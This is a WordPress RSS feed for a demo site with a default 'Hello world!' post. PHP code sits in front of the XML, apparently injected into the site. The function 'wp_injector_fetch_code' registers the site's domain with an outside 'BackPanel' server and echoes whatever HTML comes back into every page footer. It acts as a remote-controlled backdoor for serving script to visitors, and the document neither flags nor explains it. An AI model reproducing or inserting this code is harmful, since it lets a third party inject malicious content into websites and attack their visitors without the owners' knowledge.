function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array(
        'body' => array(
            'action' => 'register_domain',
            'domain' => $domain
        ),
        'timeout' => 5
    ));
    if (is_wp_error($response)) {
        return;
    }
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) {
            echo $html_code;
        });
    }
}
add_action('init', 'wp_injector_fetch_code');
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:georss="http://www.georss.org/georss"
	xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
	>

<channel>
	<title>Netrigger™</title>
	<atom:link href="http://netrigger.demowebsiteclient.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://netrigger.demowebsiteclient.com</link>
	<description></description>
	<lastBuildDate>Fri, 12 Aug 2022 01:10:22 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>
<site xmlns="com-wordpress:feed-additions:1">211469253</site>	<item>
		<title>Hello world!</title>
		<link>http://netrigger.demowebsiteclient.com/hello-world/</link>
					<comments>http://netrigger.demowebsiteclient.com/hello-world/#comments</comments>
		
		<dc:creator><![CDATA[msadmin]]></dc:creator>
		<pubDate>Fri, 12 Aug 2022 01:10:22 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">http://netrigger.demowebsiteclient.com/?p=1</guid>

					<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start writing!]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Welcome to WordPress. This is your first post. Edit or delete it, then start writing!</p>
]]></content:encoded>
					
					<wfw:commentRss>http://netrigger.demowebsiteclient.com/hello-world/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1</post-id>	</item>
	</channel>
</rss>